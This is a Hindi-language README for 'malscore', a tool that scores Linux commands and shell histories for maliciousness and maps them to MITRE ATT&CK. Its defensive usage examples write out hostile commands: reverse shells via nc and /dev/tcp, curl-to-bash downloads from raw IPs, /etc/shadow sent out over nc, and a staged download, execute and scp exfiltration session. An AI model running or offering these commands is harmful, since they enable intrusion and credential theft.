
Linux कमांड के लिए दुर्भावनापूर्णता स्कोरिंग
malscore एक Linux कमांड लाइन, या कमांडों के एक सत्र जैसे कि shell
history, को लेता है और एक 0–100 दुर्भावनापूर्णता स्कोर लौटाता है, साथ में एक verdict band और
MITRE ATT&CK मैपिंग:
command(s) → features → signals → score + MITRE mapping
यह कभी कुछ भी निष्पादित, विस्तारित या हल नहीं करता — यह केवल टेक्स्ट पढ़ता है
(tests/test_safety.py द्वारा लागू)। इसकी Python
मानक लाइब्रेरी (3.8+) के अलावा कोई निर्भरता नहीं है।
pip install malscore # provides the `malscore` command
स्रोत चेकआउट से:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) किसी भी कमांड टेक्स्ट को वापस प्रतिध्वनित करने से पहले क्रेडेंशियल जैसे दिखने वाले मानों को छुपा देता है; स्कोर प्रभावित नहीं होते।
उदाहरण:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
एक सत्र फ़ाइल में प्रत्येक गैर-रिक्त पंक्ति एक कमांड होती है, जिसे शाब्दिक रूप से लिया जाता है: टिप्पणियों, पंक्ति निरंतरताओं या here-documents का कोई प्रबंधन नहीं होता है। --batch भिन्न है: यह JSON फ़ीड के प्रत्येक कमांड को स्वतंत्र रूप से स्कोर करता है, बिना किसी क्रॉस-कमांड विश्लेषण के।
| स्कोर | निर्णय | अर्थ |
|---|---|---|
| 80–100 | critical | आकार शायद ही कभी वैध होता है (रिवर्स शेल, डिस्क वाइप, uid‑0 खाता) |
| 60–79 | high | मजबूत साक्ष्य; तुरंत समीक्षा करें |
| 35–59 | medium | अधिकांश संदर्भों में संदिग्ध (curl‑pipe‑shell, shadow रीड) |
| 15–34 | low | संयोजन में ध्यान देने योग्य |
| 0–14 | benign | नियमित |
बैंड और भार एक हाथ से ट्यून किया गया प्रारंभिक बिंदु हैं, न कि एक प्रशिक्षित मॉडल — स्कोर का प्रत्येक बिंदु एक नामित सिग्नल और एक MITRE ATT&CK तकनीक तक पता लगाता है।
विशेषताएँ। कमांड को लेक्स किया जाता है (कुछ भी निष्पादित किए बिना), sudo/env/xargs जैसे रैपर खोले जाते हैं, प्रतिस्थापन और -c पेलोड में उतरा जाता है, और नियतात्मक विशेषताओं की गणना की जाती है — डाउनलोड श्रृंखलाएँ, छुए गए पथ, दृढ़ता सतहें, एन्कोडिंग चालें, और एक tradecraft समूह (malscore/tradecraft.py) जो आकार के आधार पर विशिष्ट हमलावर तकनीकों को पहचानता है।
सिग्नल। malscore/signals.py लगभग 120 नामित सिग्नलों की एक सूची है: विशेषता रिकॉर्ड पर एक विधेय, (0, 1] में एक भार, एक MITRE रणनीति और तकनीक आईडी। एक भार इस प्रकार पढ़ा जाता है कि "यदि यह एकमात्र चीज़ होती जो हम जानते थे, तो यह कितनी संभावना है कि यह शत्रुतापूर्ण है"। सूची ATT&CK रणनीति के अनुसार फैली हुई है:
/proc/self/fd से फ़ाइललेस निष्पादन;/etc/shadow और निजी कुंजियाँ, क्लाउड मेटाडेटा, कॉन्फ़िग फ़ाइलों पर क्रेडेंशियल-कीवर्ड खोज, .pgpass/.netrc/क्लाउड क्रेडेंशियल फ़ाइलों का पढ़ना, पर्यावरण और इतिहास स्क्रैपिंग, SSH-agent हाईजैक;sudo -u#-1 बायपास, PATH हाईजैक;/proc बाइंड-माउंट छिपाना;DROP TABLE, सामूहिक प्रक्रिया हत्या।सामान्य संवेदनशील-डेटा नियम (कार्ड/SSN पैटर्न, डेटाबेस डंप, card, token, customer जैसे तालिका नाम) डिफ़ॉल्ट रूप से चालू रहते हैं; अपने स्वयं के डेटा के लिए malscore/tradecraft.py में SENSITIVE_TABLE_RE शब्दावली को ट्यून करें।
एकत्रीकरण (noisy‑OR)। भार 1 − ∏(1 − wᵢ) के रूप में संयोजित होते हैं, इसलिए कई कमजोर सिग्नल जमा होते हैं लेकिन कभी अतिप्रवाह नहीं होते और एक मजबूत सिग्नल हावी हो जाता है। एक ही रणनीति साझा करने वाले अनावश्यक सिग्नल कम किए जाते हैं, इसलिए तीन दृढ़ता जाँचों को तीन स्वतंत्र निष्कर्षों के रूप में नहीं गिना जाता है।
सत्र। एक सत्र में प्रत्येक कमांड को ऊपर के अनुसार स्कोर किया जाता है (इसका योगदान 0.9 पर सीमित, ताकि एक शोरगुल वाला कमांड एक लंबे सत्र को critical न बना दे), और फिर क्रॉस‑कमांड सिग्नल ऐसे पैटर्न खोजते हैं जो कोई एकल कमांड नहीं दिखाता — एक फ़ाइल जो पहले डाउनलोड की गई और बाद में चलाई गई, डेटा जो स्टेज किया गया (डंप, संग्रहीत या संपीड़ित) और बाद में scp से दूर भेजा गया, विशेषाधिकार वृद्धि के बाद क्रेडेंशियल एक्सेस, क्रेडेंशियल एक्सेस के बाद अपलोड, भेजे जाने के बाद स्टेज किया गया डेटा हटाया गया, डाउनलोड प्लस दृढ़ता, गतिविधि के बाद इतिहास/लॉग साफ़ करना, या तीन या अधिक रणनीतियों में फैली गतिविधि।